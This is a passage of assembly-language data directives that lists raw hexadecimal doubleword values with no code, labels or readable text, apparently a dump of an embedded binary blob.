0A1A8402Eh, 7093CB2Fh dd 0EC1EDCE0h, 820311DFh, 0C0AAD5B7h, 0EBF5A7h, 0A0982558h dd 0F0CCC660h, 0E14902E2h, 85A43CB8h, 0E4B10782h, 0B6FCD400h dd 2C9A8A98h, 83ED93h, 0A13D5752h, 70C0119Eh, 0F3F2BBF4h dd 5919C042h, 1CFE7BE7h, 98C9AD00h, 58476034h, 491E00BFh dd 0D5A444D6h, 9F005581h, 0C8DB5494h, 71CC4Dh, 3504F8D0h dd 0E1EDB62Bh, 6A001A7Ch, 586C2F4Eh, 607F12F5h, 2429106Fh dd 7E00A5D9h, 70B0D5DDh, 514CB5CBh, 8FD48CFAh, 65281295h dd 61544046h, 0A4AB2723h, 0D05B5200h, 0B443EBEFh, 0B130CB3h dd 51B83F71h, 40310109h, 8DD88064h, 3174444Bh, 242067A2h dd 6F19D8B3h, 0EE11320Eh, 0D4CFA0C9h, 0FAD5EAC2h, 77E4A093h dd 36E40013h, 84D77B90h, 7D1E112Fh, 41AE31C2h, 7F996900h dd 0B3A0FBh, 26613B0h, 7B2D88A3h, 0E6683A03h, 9869F13Fh dd 4C04CFAAh, 57001CEEh, 0CA4D479Fh, 0B3B044C6h, 256DD480h dd 94D448h, 0BD82F64Eh, 37B2AF2h, 0F3D3AC36h, 21392FE2h dd 0FE69808Ch, 5BF586B9h, 776F16DAh, 5BE0015h, 1E251682h dd 1DA2F58h, 494BCBCDh, 34248A40h, 0FA018EE6h, 0D6E8C426h dd 44491CD4h, 665DE8h, 0A02F3EBCh, 0B37203DFh, 259518C0h dd 218C302h, 33F37DACh, 848FBA1h, 0E209A39Ah, 76F0E57h dd 0D1A0655Ch, 4E95DEh, 217AAFEh, 5CEE1F1Ah, 276D0500h dd 61C5B25h, 47FA007Eh, 42777415h, 6724F465h, 897860CBh dd 71DE30C6h, 5FE16690h, 60562A18h, 771DB0h, 5029B03Ah dd 5C252D71h, 5D009877h, 4E137238h, 508EECBDh, 2070CC68h dd 7A1CF020h, 0BA03C2D1h, 75BD54B2h, 0EFB809C1h, 8C30BCF9h dd 3801A99Eh, 34021F67h, 62311E16h, 0E6505057h, 74F2B26Ah dd 0A6630799h, 8475B92Eh, 0E9D480BCh, 5200ADEEh, 0E35F1AAFh dd 9EFD1h, 7FA9F351h, 0BC89B528h, 0F700E679h, 0F8DCBDBEh dd 187157A4h, 805D69EBh, 0AF0B6B7Bh, 8DB40A7h, 900C850h dd 0D95EB61h, 7FFA133Bh, 3D49001Bh, 0BCFB2BC9h, 25350709h dd 0E36F00CBh, 5E7632h, 0CC1DEFA7h, 50D2D4B6h, 60C280F8h dd 85A897D0h, 0D8004FFCh, 0F7AE6F51h, 8BC4A0E2h, 30BF72EBh dd 0F0D096E0h, 3F6B5BAh, 88153200h, 388FEF75h, 2B700009h dd 2819CF98h, 8D60AD81h, 0F235F6B1h, 8B3A060Dh, 0D95BE6C4h dd 8D086907h, 109CED37h, 9FC30061h, 0C5C95F74h, 470094F2h dd 1E921742h, 7C71DB5h, 0CD563958h, 54B61325h, 2E6E63B8h dd 61AA3600h, 0E90F7C1h, 3DD9735Ah, 82028E4Dh, 0A0921D7Ah dd 0E8A06C47h, 84E3E500h, 4459C0E6h, 7D5803D6h, 56283329h dd 62639800h, 7CB56B75h, 467B013Bh, 0B759FEC6h, 0A7E095D9h dd 66E70ABCh, 0AE00F644h, 0F3C70710h, 4470051h, 49227BF0h dd 6E2673F4h, 3E5800CAh, 1DEE00E0h, 0FA112ABEh, 10010D20h dd 4B41FCECh, 48E489CBh, 6090491Bh, 87017F21h, 0B8477CCCh dd 2CA04EE6h, 0B05D1Bh, 200C0DD0h, 233BCD6Ah, 12948287h dd 61A44E32h, 889C790h, 0A0002BCCh, 5E4709A2h, 7A709548h dd 1CF88F3Bh, 8CA482A8h, 73D1CA58h, 2CF10355h, 6FDC0235h dd 6BC3E4D0h, 3EB93D00h, 0D2F50314h, 8FE4CB0h, 0BEFDC700h dd 9080DE29h, 60E68C00h, 1BED6550h, 0F0313A36h, 12C2CF81h dd 0E458A5C7h, 0CE03C855h, 34A0F2B6h, 3F9FA041h, 841A3391h dd 0D1EBEA88h, 72B529C8h, 4501B27Bh, 7AC240C1h, 98C4533Ch dd 9EDB00B9h, 33716170h, 0CF3F01EBh, 0C9CA001Bh, 0BE394110h dd 0A72C4CF3h, 2B400074h, 34E29B96h, 920F354Fh, 0E0FF8F26h dd 487DD1BBh, 12C80018h, 0A7B66CD6h, 85000C2Eh, 0A9571698h dd 2DF22DDh, 0B05FD2D0h, 2C5039E3h, 0B0180D24h, 0D5C27084h dd 51E0080h, 3F27002Bh, 0A418C9BEh, 7C00C088h, 5C7D449Eh dd 62A9BFh, 9A9813A7h, 6BE91DA6h, 0FE2AE600h, 0B450487Fh dd 0E09E07C7h, 40071333h, 0EA6C8937h, 17C9A118h, 963E71h dd 0F89D7DDDh, 14CC7205h, 852BA900h, 364D1ECh, 2D4B0057h dd 28989B81h, 211E140Bh dd 0F700846Ch, 0FD3078F1h, 663B005Ah, 0C29C04EDh, 0A00087F4h dd 849211FFh, 0ABFEE2h, 0E4990A72h, 10F79DFDh, 55607E67h dd 721D508Eh, 0BBDE0045h, 1B75213h, 1216BC94h, 0F422FC00h dd 90E74D90h, 1C85E260h, 960913h, 8E55192h, 704E066h, 0CF782A38h dd 6A4A5080h, 0D0760A2Dh, 89B47E5Dh, 38AE3686h, 0D4A0F689h dd 63AB25B9h, 8BA70A01h, 294871E6h, 8AB03082h, 30C8E5D1h dd 9201E18Dh, 21318E34h, 19803C49h, 170FDF05h, 0AF5CA1F7h dd 0AD230E10h, 0F9E081D6h, 0DC20BD1Eh, 0C2090780h, 0E0D119E4h dd 925D6F1Dh, 2C68740Eh, 0DA528198h, 8B40E059h, 0F68ED7F9h dd 0D6709FFh, 2CA378F8h, 0C91E3156h, 26803602h, 8717BCF4h dd 0F08CA3E6h, 92C60E2Ch, 0E3F33820h, 14692482h, 2460B1E9h dd 0D9E52977h, 60464FEh, 4A02C87Bh, 0DA4C3276h, 0CA6C6924h dd 2F2EC9FBh, 21B8719Eh, 7259F218h, 55BF3070h, 87F8F030h dd 4EF42A1Eh, 0B98E2C0h, 4AC467F1h, 645C01CBh, 0A41697E7h dd 0DB8270DAh, 0E1F61A9Ch, 98299618h, 8500A894h, 21040EA8h dd 0D6096B79h, 0B8BD80DCh, 8CDB3CB4h, 1D037098h, 0C418D5A2h dd 1EE3F9ADh, 2BB87C0h, 129D13FEh, 5B4052A3h, 2C038480h dd 0DC017F6Dh, 0D197A0C2h, 1A8B90Eh, 0A37853C7h, 19A43080h dd 30710B9h, 0EAA2D189h, 49A868EBh, 35E5843h, 7E4462Eh dd 45483B0h, 74B98028h, 0F1F6D195h, 0E5DB9602h, 0B0DE47C2h dd 1763CDCh, 0D168059Ah, 82292336h, 326C2019h, 7F32E0C8h dd 7180F7EBh, 74CA4948h, 0E548611Eh, 0B86919h, 0F06305B0h dd 3C991DCFh, 57370039h, 0D1BE58F2h, 313ED09h, 0B2EC8201h dd 24E452DBh, 8908AE36h, 0D8A04F73h, 746E104Ch, 0CC130F03h dd 0D05853EEh, 0C0F2E02Ah, 0AAE2A440h, 0FB003E89h, 531AAE77h dd 2CCBF784h, 0FA6AABh, 12EB0B82h, 0D900D8A0h, 0D1552565h dd 93DFFh, 8FC8CAD7h, 8B1558DFh, 27E4DE00h, 0EF100C5Eh dd 0CC2100E8h, 8EE98211h, 7476EA84h, 0F5E3F8C0h, 41B9E28h dd 59A01EB5h, 16C8C06Dh, 0B100D067h, 0B4E49AC4h, 48E80257h dd 0F48B84C7h, 0FCAD58A0h, 337E2DC0h, 2E699100h, 8F24F19Eh dd 0B8E80079h, 7EED83Eh, 9F3BF6E2h, 78A500FFh, 1926E9F8h dd 83EC0099h, 1D4C6527h, 83A012C1h, 0CCE65571h, 0BA8BDD00h dd 0D8607C08h, 285A0041h, 0A9DCAA66h, 0A00E1475h, 0A0E67293h dd 15DB0552h, 707CC3h, 805769DEh, 55F553DAh, 608BBA00h dd 0A5FC2BF1h, 0C0D3A34Fh, 4925Fh, 4E783C42h, 0FFAEEB85h dd 100807Fh, 1B5EA3ECh, 0D11D88h, 0AF3CA9FCh, 79E05751h dd 2C20B200h, 7BB9A6CAh, 28AB073Eh, 708EFBACh, 6CD2721Dh dd 150BA700h, 2E219298h, 168D0537h, 90F21B05h, 486BAB00h dd 8A65C300h, 0C6E7801Ah, 9CE900A3h, 86D1D225h, 0EF078485h dd 0BF193474h, 0D0596530h, 0FF271DF7h, 0FE8DDBDh, 8AA37855h dd 7DF33FC1h, 0A5F55E98h, 51A6B03h, 0AA424483h, 0C9C1C0D5h dd 186A603Dh, 1F51D193h, 2D010779h, 19BEAAD4h, 0CAF8453Ch dd 8EFA0EA7h, 38207EB3h, 0B7A9042Bh, 10D3FD03h, 88D5CF73h dd 3AB8F60Ch, 9480626Eh, 5304D72Eh, 0A5007793h, 70FF18B1h dd 39BAEDCFh, 0CD039A6Eh, 0D2CE9834h, 24B8A100h, 20B18E02h dd 0B740057h, 1F64D63Eh, 0DF002E23h, 0B39AB2CAh, 7FE670F5h dd 306B07B4h, 56F478h, 0FF4D3B58h, 6F398E7Bh, 0BA007F14h dd 0ED3FCAFEh, 7DFDAEh, 52E53CF9h, 8BF3B3BEh, 40400626h dd 0C0CA0Bh, 6310948Ch, 0E84E38BBh, 0B3BF058Fh, 843D0C00h dd 2C00BC28h, 0A34D5011h, 0F4FF1A68h, 2BE61Ch, 0C7CCDF9h dd 0B2B9A064h, 13BD7B58h, 7600F3DCh, 95F4DBB1h, 3CC9AD7h dd 0ED56B6C2h, 0EFF0218Ch, 311C939Ah, 8901A6C7h, 0D791482Bh dd 1880FF21h, 576E9597h, 3E1337A8h, 17009CAEh, 6B3998AAh dd 814C0016h, 8251FD34h, 86077A08h, 6295DAF3h, 66150AF0h dd 0D0FBF32Dh, 0D3E317h, 0BD5C2F20h, 0A94E816Ah, 2C2B8B3Ch dd 4D002CBBh, 977386C8h, 23C401F7h, 30DDA5E1h, 1CDB2055h dd 510C1101h, 4F81F37Dh, 0A0F73820h, 2CC778D7h, 3ACDCDAh dd 16ABBE07h, 0ED7C02B0h, 0D8CC2B00h, 4FE8B81Eh, 50B82Ch dd 82533409h, 6C26AFA8h, 8D0160F5h, 4D2E8400h, 1293BA8Ch dd 135619C0h, 0ECC620D3h, 3200C8ECh, 795F1AFBh, 1D9F9C7Eh dd 3F5B0DAEh, 13D184A6h, 0BB190057h, 0F59E6B77h, 0B61C9A0Bh dd 0D58EB0h, 43D9B1C4h, 36031DE5h, 561F00A9h, 410CC5F1h dd 5C10D260h, 1E347h, 0D1DDB38h, 0BA733ACCh, 0E356A926h dd 8B7C3200h, 131CA4h, 9345C3E6h, 22E0A01Bh, 0AB3D360Fh dd 0FAB58447h, 0D379D080h, 9D3F0082h, 0CD2F1C89h, 973E6972h dd 183800Ch, 962DD975h, 0FBA43CCCh, 0ACBB4A05h, 6993C01Eh dd 0C5009B49h, 847F6705h, 21E9A5h, 0B9C1F25Ch, 0C973FBDFh dd 5AE37101h, 0A34ADD19h, 3342060h, 9CE4B51h, 0EAF85E78h dd 0F0006E38h, 26CA1A83h, 9B51CFh, 248E5BA6h, 760B8C68h dd 504D441Dh, 0ED331E40h, 0B0B3A4F2h, 1C6401FDh, 5B77852Ch dd 1EF88088h, 0ADCEFCAAh, 7940468h, 0C01031F1h, 0E727B2F1h dd 0F49BD605h, 68C0DC54h, 505B7Ch, 4B770A3Eh, 8922385Ah dd 0A67E023Ch, 0E1002FC1h, 0EC84EE76h, 0F20C1E42h, 6CA20040h dd 0CE6080B5h, 8097703Ch, 0D12F2B31h, 0E18315h, 906DB20Ch dd 73799A82h, 5A5EEA03h, 0B85992FFh, 2AB0D8h, 57C03A0Fh dd 9BCFD531h, 1B2D201h, 5B59D432h, 804662F2h, 0F71F4D8Ch dd 0D6460928h, 5002D0Eh, 0F0EB9811h, 7C356D00h, 0F7814972h dd 0D0BB014Bh, 5AA58F86h, 8037E0B4h, 9160251Eh, 341AAF80h dd 2B9485h, 0E77264A5h, 0FF99E9ACh, 0C55B2000h, 8F2E3981h dd 552E6FDh, 5AB3AF48h, 4354A09Dh, 0FE94DB01h, 9EA7BC12h dd 18AD46h, 0ED850408h, 0AB447E5Dh, 844D1209h, 87DC40DEh dd 4C29C006h, 80361C5Ch, 421DB174h, 3ABE11EAh, 0A5007C12h dd 878118FFh, 72BA09h, 555D6928h, 0E1E65BA4h, 803A573Ch dd 830B46A9h, 85C25h, 65447B9Ch, 5B0E31E4h, 7501D572h dd 434E0B61h, 7887BEE1h, 0F11C7912h, 817C7D05h, 325DF0C8h dd 91F05908h, 24C80F93h, 3900C735h, 287B60A0h, 1F721600h dd 0DEB23379h, 8641001Ch, 0AEF17E99h, 0F0065D7Ch, 0DDC46DEDh dd 0C6900E9h, 6685FB59h, 3BE86137h, 0B10E087Bh, 803A124Fh dd 79FA4E27h, 0A8561EC8h, 7CECC002h, 6FD60EE9h, 0FF84E600h dd 3BCDAF0Ch, 0A13C1580h, 1000BC23h, 0B959E4Ah, 719FF6Ch dd 290841A4h, 0BB21ACh, 0C28FD29Eh, 0BB5F1EA6h, 232BB040h dd 1EF83521h, 40F60B44h, 3146143Bh, 0B93FA573h, 9480807Ch dd 5A928A7Fh, 3DE70101h, 446C9055h, 18FF08D6h, 18788C2Eh dd 9900DC0Ch, 745A9309h, 2AF04495h, 8470DAh, 0E7228FB3h dd 0A0B79607h, 82D3B028h, 0C1E87C00h, 9D8B6C92h, 699B1403h dd 8281C8F2h, 805A4DB5h, 0D31D11B9h, 57CC093h, 4FC47EE5h dd 0AA8C446Bh, 9E48309Bh, 3C0B238Bh, 0B0012A11h, 0E4A09E50h dd 9479D865h, 7AD4E800h, 87BEC5BAh, 98FEB8BDh, 0EBD8C06Eh dd 1EE58038h, 6A979B00h, 50C0D6CDh, 819900F7h, 0FE35F30Bh dd 0EFE00E3Eh, 5DC7801Ch, 0C0A3F14Eh, 2206B154h, 923812C4h dd 7E910909h, 76858580h, 8100A4A1h, 5D16257Fh, 0F4375Bh dd 0CB9C7C61h, 0CFA2C89Bh, 0B140680Fh, 91D6FD05h, 7EDBFB03h dd 21DC03A5h dd 0DDE50138h, 0E8A273D0h, 0D6A76400h, 7C9DECD8h, 2F563863h dd 1DFF1CF6h, 1B6DC79Fh, 8491A0C6h, 130028FEh, 90A9FD99h dd 0D435B7h, 0BE53A554h, 0C1AAB988h, 9F006178h, 8BD6817Fh dd 0EEACFB5Ch, 545A1C10h, 2BFC4E85h, 0BBC0109Ah, 0A63A97B9h dd 1EDF8CEAh, 60C308D2h, 11712086h, 290194B9h, 389FE1CBh dd 0F4E87014h, 60FAFC75h, 93929A1h, 0CD00BD64h, 0ECD7456Ch dd 0C8580FCBh, 0DEC0A070h, 46A5ACB9h, 0FEBF22D2h, 2EB90016h dd 725F5D4h, 18C00822h, 0E758A69Eh, 2A28C09Dh, 6149261Eh dd 6EAC5C01h, 0CF20228Eh, 7BF1D171h, 0B5863080h, 950D8374h dd 4418457Ch, 10180E58h, 0CE7292h, 0C0828476h, 3F622C93h dd 78F7F21Ch, 374BF40h, 1D4EDCDh, 776E8E83h, 21D997F5h dd 807FDDA9h, 0ECA1B061h, 784FB17h, 0AD93124Dh, 5B14434Ch dd 31352000h, 0AA4BE3ECh, 0E8B0017Ah, 56FB63F5h, 0D0C98FE1h dd 0B4B409Bh, 3ED90D5h, 0FC082D19h, 200AA979h, 8014117Ah dd 2BBA80BAh, 0A018A165h, 49A70072h, 5F9FFF34h, 12057992h dd 8FF47881h, 0A84429FCh, 61150E19h, 79CE6D22h, 0A94C75C7h dd 7280EAE3h, 4500BDF4h, 62C60EA5h, 12D9A97h, 2B761920h dd 0FC776326h, 0B0A29F6h, 0A0330786h, 0C5755A80h, 0FEAAF16Ch dd 9CED00E1h, 11C121CEh, 9771364Ch, 940EFE2Ah, 0F461E1F6h dd 84610808h, 0E049D182h, 0C48275Bh, 18A0FFB9h, 0B0181174h dd 27101351h, 0DC19C0E1h, 96C83631h, 0BF9D5800h, 0A87670B1h dd 3F010392h, 6F9CAA2Ah, 3115C683h, 0B4DB5Bh, 18EB82CCh dd 51D1FEh, 0FAF074EDh, 80B28E36h, 9F59CD03h, 0E45886h dd 5E027B31h, 0FEAEF7B7h, 0FC9C8200h, 0B0B273A4h, 0BE46061Fh dd 690C2741h, 0BB561201h, 0D4A6AB2Fh, 5E765480h, 47C62614h dd 10017E7Dh, 1993DE09h, 0F080D323h, 768EFB90h, 0C560E486h dd 2F92CD48h, 907B5411h, 53D00F4h, 0CCDD4813h, 1206F917h dd 0E36D2EEDh, 29080479h, 0EAD903BEh, 0A7D32DC0h, 1AE801F2h dd 0FF87369Dh, 11D85556h, 278DCD8h, 15129319h, 6AE15CA9h dd 1FB042B8h, 45679D80h, 0D900C23Eh, 3656FD78h, 0EEE161ABh dd 1320357h, 0C76D305Ah, 0EC808100h, 7783EE55h, 9FC12h dd 0F1FD59BBh, 0C2422F95h, 6EABBD01h, 4C38117Eh, 0F509E850h dd 0ED99C052h, 59260380h, 18FBB912h, 8FDD9C42h, 0FE0C4874h dd 61F102FFh, 0A15D930h, 0FA70F940h, 41D14567h, 963D6931h dd 1DF670h, 9328A384h, 0E1870765h, 909F8902h, 80B6E42Bh dd 1379A887h, 0AC95007Dh, 0E104DA7Eh, 9300BA23h, 269A067Fh dd 0A3B256Bh, 349B15DBh, 0D45F04h, 1D4021C8h, 4ADA3846h dd 0E26C0A18h, 3EE49E20h, 31E073A5h, 1156B1D4h, 0E1A86606h dd 3009BC8Fh, 7420DA8Bh, 0FB01552Ah, 4A75B55Dh, 16CC0958h dd 6041C13Eh, 8098C8D1h, 74B31378h, 0E8AE80h, 0AA383B7Fh dd 2F1EEBFCh, 0D66D490Fh, 6E59B98Dh, 73A2DE0h, 3D7D54E1h dd 2BEBF040h, 4160428Fh, 0DF893051h, 977530C6h, 1F6850D9h dd 66964203h, 0E8127D07h, 4AD627Ch, 606B29D3h, 476F0732h dd 0C00D45C1h, 4AB88910h, 0B9C33DFAh, 0A414F149h, 4369031Fh dd 7978C9ECh, 0CE700C50h, 998EBC05h, 0B040B523h, 3C587041h dd 2C4D001Fh, 0F6D90AE1h, 791CFE40h, 0FF4FE5E6h, 9E2BC12Dh dd 49803A32h, 37F19614h, 0C700A407h, 9E2FED47h, 186785FBh dd 88BE344h, 8A08609h, 0E07CDDC0h, 74B8B257h, 7A217007h dd 3AE03B6Ah, 608E6DBDh, 0D2BB2039h, 5201E31Dh, 1B4107B3h dd 0D2D3FE83h, 8A09033Bh, 63F12ED0h, 8601147Fh, 767CF8C0h dd 9CD421A9h, 0DED2A44h, 0C4E4028Ch, 964BC79Eh, 5C842B00h dd 0B0CA00AEh, 0EEABBAB8h, 8307AA6Fh, 0BF342252h, 3BADC9C0h dd 71462A78h, 51010098h, 46CC285h, 3C006F8Ah, 0DA13318Dh dd 4B07625h, 5B58D13Eh, 0E32489CCh, 0B23AAE0h, 21787200h dd 0E79BF6C0h, 0EE4137BFh, 0B85FB2F8h, 0B9FCAB80h, 0CBFC89B4h dd 5783748h, 413E7C2Bh, 118A9840h, 60AD8178h, 9D73916Ah dd 48FECE14h, 2710B207h, 4C406BE6h, 2DB502h, 13FBA4E7h dd 694D8EC8h, 75A5E506h, 7416C46h, 25675B05h, 0ED4B6129h dd 442080BFh, 0C00E170Ah, 0DDB400D2h, 7BD3638Bh, 5902499h dd 92B9313Dh, 485EC325h, 4F0090E9h, 0EE48E8F3h, 8D9400D9h dd 1ADE595Ch, 0C8334ABDh, 0FDACC945h, 6C2AFC71h, 1D04D30Ch dd 0FE8AADDCh, 134BC31h, 0BE88D56h, 0ADC6314Bh, 50134279h dd 0FB0668F4h, 0C998E800h, 9CFEFAE7h, 371B009Eh, 0C5636784h dd 6D0E570Dh, 0E40B9630h, 4888B04Ah, 77BF0114h, 0C1646E39h dd 8CAB7055h, 1650C00h, 0E64349E5h, 1B209257h, 393CE14Ah dd 0C044F0EAh, 626FED14h, 5CF5189Ah, 93F1321h, 9AF07E4Dh dd 0D9DF1000h, 4A00C750h, 0C5D60257h, 270F298h, 0DE98DBAh dd 844C6E3Ah, 0A81DB702h, 18082B52h, 4A803553h, 1E7F490h dd 3ADCD35Eh, 22CD198Ch, 96F0E74h, 0A8D6A0EEh, 2518Ah dd 0A12E88ADh, 0E3E09341h, 39C07C14h, 1AC851E8h, 3304C4CCh dd 0F030F931h, 920086CCh, 76978474h, 736642BEh, 6D9E186Ah dd 0F2345133h, 0CF00F890h, 9C8B396h, 56B5ADEh, 0F5C7D32Bh dd 13CC843h, 3EAA9700h, 0A74A083Dh, 22B77433h, 7500380Fh dd 0C9C6B232h, 8BBBE62h, 983B423Ah, 0B71B5E00h, 0E50C581h dd 0DE4AAA32h, 119C4851h, 0A24983Ah, 0EBC34104h, 6D42FCE6h dd 0CEC8C949h, 0AA8BCFA6h, 3584F816h, 1480F811h, 24E56655h dd 15B45054h, 9400C01Dh, 0FF99F878h, 0B8737EEDh, 0F566801h dd 0B4C34B28h, 0BBD06025h, 3E8CA830h, 7A89C040h, 85C1258Fh dd 2FEF6503h, 8DEDABF4h, 309F7C82h, 0E31156BFh, 7490B866h dd 5602763Eh, 8B6FA1E7h, 85ED9060h, 21428D30h, 77DC150h dd 0C9F97739h, 38B4F078h, 0C31F7AA3h, 1D4028B0h, 6D44BA9Ch dd 0C495496Ch, 0DFEB6000h, 3EB58726h, 0D033FE00h, 0C252F3E9h dd 4BF7020Ah, 194ABB38h, 0E74254C6h, 40DEA77h, 738B3AC8h dd 7D5888D1h, 0FDFA3203h, 0D8FBB1F9h, 7862EA0Bh, 4A27425h dd 633DBEECh, 1B9CC271h, 0B6003C64h, 0D0F3F266h, 1F773AEh dd 3932B8FFh, 30C283E7h, 79C0E6FCh, 3EDC7829h, 691100DEh dd 5B1A7412h, 410FF056h, 536CDB63h, 0E8C45454h, 334302h dd 1651176Ch, 3ABF49h, 4CC1C3BBh, 69483D39h, 25B1E360h dd 141CF643h, 0C8ABB46Bh, 33EC6303h, 84B0998Bh, 30C89E2Ah dd 2742966Bh, 0B62CA064h, 0E53B9F1Fh, 81593C84h, 0EAF5B882h dd 0E0360A49h, 8BCDD18h, 0E0159066h, 0C43F3Eh, 3DF44D0h dd 47249FAh, 8EAF48E4h, 102C81F5h, 8C00C3Eh, 5066C456h dd 7F405DC4h, 46C756B9h, 80A9666Eh, 0BE4E671h, 5D492F3Eh dd 9C03A5F0h, 42627F65h, 24C9EE5Bh, 40E0B34Ah, 48F5C814h dd 49E7C530h, 92996DD3h, 20DD4C34h, 513F7E0Fh, 60091261h dd 682999DAh, 583190EEh, 0DA5F3043h, 0D9F0096h, 4A0E5133h dd 0F21FD767h, 8CC14801h, 4FF5F3BBh, 7268D4h, 6D521454h dd 34DA09Fh, 0B858D460h, 18DD98A5h, 38463507h, 1003C69Fh dd 3AB9D81Eh, 80D592B8h, 0CE783224h, 518986Bh, 58F49717h dd 0E61820E3h, 0F6062DFCh, 400354ABh, 393800C1h, 9D7AC892h dd 8B011EB4h, 67F7B0A9h, 0AFE44598h, 40D80B6Fh, 400EDAB9h dd 9B582BE0h, 560098DFh, 0B0D78AD3h, 365A6961h, 0B98045A6h dd 483B0310h, 0B9DB0E02h dd 9C848083h, 0D3D040E9h, 0C1D67F89h, 14B4DB11h, 8B4CE082h dd 30DAF005h, 0C820BD46h, 0A2B8ED2h, 3C95EB68h, 0CBA704C4h dd 0C584D88Fh, 8CC3F804h, 1C325E75h, 0F87D012Eh, 0BBF8BA02h dd 1944006Bh, 3A0CAFABh, 0E0C1B41Dh, 8C526788h, 4C29B824h dd 4B00AFBBh, 99D7F013h, 3B006B3Eh, 12F4F231h, 0C4FB9DC9h dd 0B5BBA638h, 0B230DA08h, 66C21156h, 829488C0h, 2E552B8Dh dd 0D7F52BC0h, 54BEBF02h, 0C0A31A42h, 0B234034h, 69DA89C0h dd 0C492812h, 4C518B8h, 1AADDE1Dh, 35503109h, 0E89D0801h dd 0C801C6C4h, 21B0AB32h, 4820F424h, 0A9701AE4h, 60D84Eh dd 6650BA7Dh, 3A18D4E4h, 9CE0E1DDh, 2CCEEEE4h, 4C9803h dd 9D6E246Fh, 8B001C67h, 5C51E854h, 0BCD552Dh, 0B8F2BC08h dd 0E2307583h, 439F8800h, 0AA4C9225h, 0D7B00187h, 0C81F79DFh dd 0B93AFCCDh, 0E0000371h, 4F459611h, 0B5B3C0h, 0C26B7FFh dd 622A15CFh, 4A25A900h, 69AC1A80h, 1B880076h, 0BC361492h dd 65077109h, 0A416CC79h, 0D30D5F60h, 0D1D40FBEh, 4460113Eh dd 952B4B5Ah, 5517BF00h, 3662BCEEh, 91F83F7Fh, 0C092DB00h dd 0F7826348h, 21C27A07h, 36701A07h, 626AA4h, 6CDE06ACh dd 3ACCF785h, 540048F4h, 0BB4AF990h, 0C566D2h, 52269A11h dd 0D412E17Ah, 33ED8600h, 2AB3CD0Fh, 0F3D90683h, 694291A0h dd 0E9DFF103h, 901AC85Ch, 459511h, 271914B6h, 0F6BA4283h dd 0D353E600h, 32C4B921h, 2E790926h, 1E8CEEBEh, 5503BC19h dd 0DB4DA635h, 0CC5800F3h, 0C44B586Dh, 3D079DF1h, 8FE43017h dd 0CFB7A430h, 0B11200B2h, 7D64CD01h, 0B900BF35h, 0D01B4BB4h dd 1D96E63Eh, 83A15255h, 175FAFA2h, 0CD67A690h, 0EF1D2918h dd 358FC1h, 0B74B38A9h, 3768624h, 97C74300h, 0C1DE66ACh dd 0FDB2006Ah, 0FEC5D9D1h, 9E01295Dh, 21DCFA95h, 4BECC1BBh dd 0ABAC2849h, 18D0F48Ch, 0D90E42F7h, 0B53868D1h, 0F6307AEAh dd 8E3FB1E3h, 0E881E9D0h, 0F3B078BDh, 0A4108ECCh, 0A5D7A320h dd 6050EA91h, 0E02B2CE8h, 606738F2h, 0EC22EF80h, 0A816F0A3h dd 0F96DB03Dh, 44987200h, 0D1C4F9C0h, 0FCC100FAh, 705292E9h dd 6C1FFE41h, 0ED0785FBh, 6FC7E586h, 771CA810h, 0F33600B8h dd 6A1B2378h, 0D20C2552h, 813D1F1h, 4E21C0DEh, 0B9E81BAAh dd 886D400Eh, 0A14838E9h, 0DF20C020h, 0FF3A38ADh, 0E00C6A0Ch dd 58399Dh, 7F81D343h, 6CA52FF5h, 0A940F150h, 1BE0048Ch dd 620D5241h, 3B4520E2h, 5807B021h, 0A9E65760h, 83B02FF7h dd 392E452h, 6F1AF94h, 54C0FAE8h, 22FE6B51h, 153310C0h dd 0A5A43Eh, 342FEACh, 0AF9E1190h, 0E70043E2h, 0D94B0AE0h dd 6D30B5h, 8E5F4E08h, 0D42DF04Fh, 874A8900h, 165BD747h dd 8B4424D8h, 45EA0051h, 0BCCDE986h, 7300C572h, 3D0A8F59h dd 0E53BAEh, 27375D7Bh, 1DEE18DDh, 36909800h, 6F0E1CAFh dd 3C57E2CCh, 0C1802250h, 4FFB3B5Ch, 2D07E769h, 6A41B577h dd 7BA434C0h, 0BD801BFh, 453EE24Eh, 5AD7C425h, 2B40A30Eh dd 81409850h, 0E149C0B5h, 0D276C4FCh, 2585BB1Eh, 51D1D84Ch dd 7893005Ch, 4EB037FFh, 0C41EBC50h, 4A803E84h, 36FEF404h dd 66630155h, 0E040E14Bh, 44A453DEh, 51F313E0h, 409D58F8h dd 380FAC1h, 0B5C13A57h, 8100FBCFh, 39DB4E73h, 0F1D9CAFCh dd 77B87980h, 2F3A34B7h, 6FA7D800h, 29866975h, 8839C015h dd 71B8FF1Eh, 0DD2B2D0Eh, 0D64081ECh, 17C70BF0h, 87FA78h dd 0A35F9EF3h, 0C12B6001h, 915804A9h, 8B48CA5Eh, 0EFF67004h dd 0CE3E8FF8h, 152C04F0h, 0D4206311h, 0C8109765h, 4F2801A7h dd 884651Ch, 8387C70Fh, 58E572DCh, 0F7AC1820h, 265E6601h dd 0E685019h, 1001E741h, 0B05009B1h, 19318A14h, 0A70C4CA0h dd 30A80950h, 1E19EF01h, 39DDA927h, 87906954h, 50CA2217h dd 421094CEh, 0F9CF1460h, 3D044608h, 6BED9FEFh, 39444814h dd 0DC8E6E4h, 1CA153D1h, 98DE4F03h, 84291C0h, 14F7280Ch dd 4CA0D9F8h, 40F8B50Bh, 4BF140A6h, 0D480050h, 6E6F6053h dd 73A0296h, 5DFA37C0h, 8BC5F27h, 34F03BEEh, 0F18FC188h dd 175AFC21h, 3418D604h, 2710F69Bh, 50C4A4B6h, 76C2BCh dd 0BE5AF4D5h, 98E52C4Bh, 68AD551Ah, 9D796041h, 0B83A09C6h dd 60201FA2h, 89976A8Eh, 8C5AF624h, 1EC75030h, 0C58C38Ch dd 4900FDA4h, 0AB403358h, 98C0DCE2h, 18D3744Fh, 609FF049h dd 8F18DBE5h, 0F311EBFFh, 680E006Ch, 1D531061h, 69C321CAh dd 0A4A595h, 9D242A49h, 0CF5C3B43h, 8CC44007h, 5347DFA0h dd 0BF596940h, 0D527019Dh, 265A17DEh, 505441B5h, 9B65F903h dd 0C32C8A08h, 6C7F1CBh, 48BA4025h, 8F089F30h, 0F5007DA0h dd 0B462EC86h, 70E35D30h, 977C041Bh, 0C01E4728h, 5E9BF6B9h dd 0B865A300h, 0F21BD32Fh, 19B51514h, 7EC4A1h, 4D3D3CDCh dd 0FD91ABF0h, 0E8644637h, 0AED03590h, 182A0CF3h, 5589096Ch dd 0B8E58901h, 0E6DB2778h, 0B41FC180h, 0CA6C1BADh, 0D50BB8A8h dd 6B6D1815h, 0CDF07ECh, 45EEA090h, 0F800BAD6h, 1C5584DBh 